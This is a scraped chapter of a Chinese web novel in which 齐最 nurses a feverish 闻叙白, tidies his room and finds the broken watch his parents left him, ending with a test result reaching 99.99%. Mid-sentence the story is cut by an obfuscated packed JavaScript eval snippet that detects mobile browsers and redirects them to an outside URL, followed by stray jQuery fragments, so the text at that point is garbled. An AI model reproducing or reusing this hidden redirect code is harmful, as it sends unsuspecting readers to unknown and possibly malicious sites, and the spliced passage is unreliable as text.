默认冷灰
24号文字
方正启体

30.唠叨

作者:枕上溪梦本书字数:K更新时间:
    闻叙白没有解释,权当默认了。


    而齐最也没有纠结,随手将桌上的碗带出房间,回来时,手上却多了一个体温计。


    “来,再量个体温。”


    闻叙白看着那伸到面前的体温计,有些眼生,疑惑道:“这是哪来的体温计?”


    此话一出,齐最瞪大了眼睛,直接开启了抱怨模式:


    “你还说呢,我在你家找了一圈,别说体温计了,连一点感冒发烧的药都没有,只能自己去楼下药店买了。”


    “嘶,你说说你,怎么一点防范意识都没有,就算不生病,也应该买点预防的药,以备不时之需啊。像什么板蓝根······”


    又开始絮叨了。


    闻叙白面无表情地望天。


    齐最:“······我真没跟你开玩笑!”


    闻叙白点头道:“知道啦,知道啦,这不还有你吗?”


    齐最骤然一噎,不知是不是错觉,闻叙白忽然觉得齐最的耳朵尖有点红。以为他还在生气,闻叙白直接主动拿过体温计,塞到了自己的腋下。


    五分钟后,就听“滴”的一声。


    闻叙白将已经被夹的温热的体温计递还给齐最,对方收回体温剂看了一眼,满意道:“37.4°,现在转低烧了。”


    说罢,看见闻叙白身上已经滑落的被子,帮他把被角掖了掖。


    “头还疼吗?”齐最问道。


    闻叙白摇了摇头。


    伸手接过对方递来的温水和药丸,闻叙白直接仰头一口闷。


    几口水咕嘟咕嘟下肚,在对方惊讶的表情中,把杯子又递了回去。


    拿过水杯,齐最忍不住道:“这是吃药,又不是吃糖豆,你也不怕噎到······”


    却见对方一脸无所谓地缩进了被子里,忍不住嘴角抽了抽。


    谁料下一秒,闻叙白又猛地掀开被子坐起来了。


    齐最:“?”


    齐最吓了一跳,手上的动作都抖了三抖,望着他道:“怎么了?”


    却见闻叙白脑袋像陀螺一样,迅速四处扫了一遍,然后浅棕色的眼睛定定望向他道:“这是你打扫的?”


    要不是转了一个方向,他还没有看到,整个房间之中,所有东西都被摆的整整齐齐,就连他之前看了一半,随手扔在书桌上的书,也被他塞好书签,重新放回书架里去了。


    其实他原本的房间也不算太乱,只是因为他刚搬来,东西不多,但也偏偏因为这个缘故,他一直都没有顾得上收拾。


    也可能是在闻家被人伺候惯了,他用了什么东西,都喜欢随手放到一边。过一会儿,自然有仆人管家来帮他打扫卫生。他就一心注重效率,扑到工作上好了。


    可现在······


    他脑子里猛地蹦出一个词,脱口而出道:“齐最,你好贤惠啊。”


    齐最瞬间石化了,显然也没有想到自己一个大男人,有朝一日会被人用“贤惠”这两个形容,愣了半晌,才对他摆了摆手。


    闻叙白:“?”


    齐最:“我这不叫‘贤惠’,我这叫能干。”


    说着,又伸出了他的大拇哥。


    闻叙白:“······嗯,能干。”


    他却忽然想起什么,四下张望惊慌道:“我的纸袋呢?”


    眼见着他就要掀被子下床了,齐最赶紧拦住他,“唉唉唉,你别着急!什么纸袋?你告诉我,我帮你找。


    “就是一个棕色的牛皮纸袋!”一阵凉意直冲背脊,闻叙白没来由的一阵心慌。


    “牛皮纸袋?”齐最想了想,忽然起身在不远处的箱子里翻了翻,然后成功翻出一个文件袋来,对着他道:“是这个吗?”


    “对。”闻叙白点了点头,等拿到手后迅速从上到下检查了一遍,确保没有被人打开的痕迹,才猛地松了一口气。


    “这是······对你很重要的东西吗?”


    闻言,闻叙白一愣。


    其实并不是对他多重要的东西,可他是怕······怕被齐最看到。


    看到里面的照片,还有······关于那个孩子的资料······


    看到齐最疑惑的眼神,闻叙白强撑着挤出一抹苦笑,掩饰道:“不是,就是······一点工作资料。”


    “这样啊······”齐最挠了挠头,忽而又从一边拿过了一个东西,摆到他面前。


    只一眼,闻叙白就瞬间怔住。


    那是一块黑色的手表,表盘碎裂严重,已经完全看不出原貌了,而皮质表带已经起了皮子,似乎有好些年头了。


    “我看你一直放在床边,翻身的时候差点碰到地上,就帮你放到柜子里了。”


    说罢,他又艰难道:“这表······都烂成这样,估计用不了了,要不······扔了吧?”


    齐最也看出那块手表,已经根本没法用了。


    闻叙白却是垂了眸,缓缓伸手,将那个手表握在掌心。


    表带弯曲的地方,硌的手有些生疼,可他还是越收越紧,摇了摇头。


    “不能扔。”


    “为什么?”齐最有些不解。


    “这是我父母留给我的。”


    那场火灾之中,所有的东西都被带走了,唯有这块手表,还是他父母被拖进火葬场时,他哭喊着从他父亲手上拽下来的······


    最初的表盘早就不能用了,表带也修理过多次。可纵使表带再怎么昂贵,从几百块,到几百万,这款黑色的表盘,他始终没有换过。


    他上一次去修表的时候,钟表店老板就已经警告过他,不能再修了。


    可纵使他知道,有朝一日,这个表会完全报废,他也没想过,这一天,会来的这么快······


    这一次,表盘是上回与闻叙远起争执时摔坏的,而表带······是在雨水中泡坏的。


    看着闻叙白失落的表情,齐最艰难地咽了一口唾沫,心中杀了自己的心都有了。


    半个小时前刚知道了对方的苦楚,半个小时后就戳人家伤心处,齐最恨不得当场扇自己几个大耳光,如果扇耳光有用的话。


    心中骂了自己这张破嘴千万遍,开始怀疑自己是不是真的应该再去多读点书,文化水平高一点,就不会在这么说话不经过大脑了?


    齐最着急道:“不是,我不是那个意思······我的意思是······”


    结巴半晌,下句话却不知道怎么说。


    “哎呀,我也不知道怎么解释,你······你要是不高兴,你就骂我吧!怎么高兴怎么骂,我保证不还嘴!”


    眼看着他就要扬起手指,闻叙白这才无奈道:“没事。”


    “真没事啊?”齐最小心翼翼看他,“你气可别憋到心里,对身体不好的。”


    “真没事。”


    闻叙白真不知该说对方太敏感还是太过激了,怎么一点点小问题,就怕的跟什么似的?


    看着对方慢慢从床头柜里拿出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209405|178739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一个钟表盒,将残表放进去,脸上也没有什么不悦的神情,齐最这才松了一口气。


    自告奋勇地帮他放回了盒子,才转头将他重新扶回了床上。


    果然是在病中,身体不比平常,甫一盖好被子,闻叙白竟又觉有些打起瞌睡来了。


    齐最也意识到了他的不对劲,帮他掖好被角后,又拉上了窗帘,遮住外面黑漆漆的夜景,台灯也调到夜间模式,明晃晃的灯光,无端让人心安。


    看着男人高大的身影前后忙活,闻叙白竟忽然萌生出一种:有个人在身边也挺好的感觉······


    这个念头一出,将他自己也给吓了一跳。


    闻叙白活到这么大,一直受在闻家的控制之下,所有的社交来往都被闻家监控,不能与人随意往来。


    更何况,在他身边的人,不是同样的富家公子,就是豪门少爷,眼比天高。知道他的身份,都会刻意跟他保持距离。


    慢慢地,他就习惯了独来独往,也没有什么交朋友的想法了。


    唯有在闻庭屹希望他与某个人交好,或者有其他人想要借他攀附闻家的权利时,他才会刻意去接近谁。可披着一层利益的虚假关系,双方都心知肚明,默契的都不拆穿,又怎么会有真正的“友情”?


    而爱情······他从未想过。


    若是因为他的缘故,让一个无辜的女孩陷入与他一样的困境之中,一举一动都被人时刻盯梢,喜怒哀乐皆不能轻易展露脸上,他实在于心不忍······


    可此刻······


    正想着,齐最英俊硬朗的脸已经出现在了他的面前,看他睁着眼,疑惑道:“怎么,还是太亮了?”


    说着,就大半个身子跃过他,关掉了一盏台灯。


    “这些好了吧?”齐最神采奕奕地看着他,半张脸映于暖灯下,更照的眼睛明亮。


    “嗯······”闻叙白收回思绪,点了点头。


    “行,今天太晚了,我就先回去了,你晚上要是有什么事,就给我打电话,我立马上来。”


    “好。”


    得了回应,齐最刚准备起身,却又立马转回头来,对他叮嘱道:“哦对了,你烧应该明天就退了,但还是最好跟公司请个假吧,多休息一下,身体最重要······”


    “哦,还有······!”


    眼看着对方又要开始化身“唐僧”了,闻叙白赶紧蒙住被子点了点头。


    然后便听对面传来“嘿——”的一声,齐最最后扔下一句:“那你好好休息,我明天再来看你。”就离开了房间。


    他关门的动作很轻柔,轻到他几乎没有察觉。


    直到闻叙白从被子中出来,看到黑漆漆一片的房间时,才蓦然意识到:齐最真的走了。


    不知为何,看着空荡荡的房间,闻叙白缓缓抚上心口,竟忽觉有些空落落的······


    这感觉就好像······他舍不得对方离开一样······


    好在困意最终胜过了不舍,他这一觉睡的香甜,却没想到,竟在第二天一大早,被一通手机铃声给吵醒了。


    闻叙白睡眼惺忪地看了一眼手机。


    那是一条谈煜发来的邮箱短信。


    跃过开头的一大堆废话,他径直点开短信中的附件,划到了最后一页,然后瞬间从睡梦中清醒。


    报告最底部,两个他胡乱起的名字背后,百分之九十九点九九九九······的数字。


    刺眼夺目。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)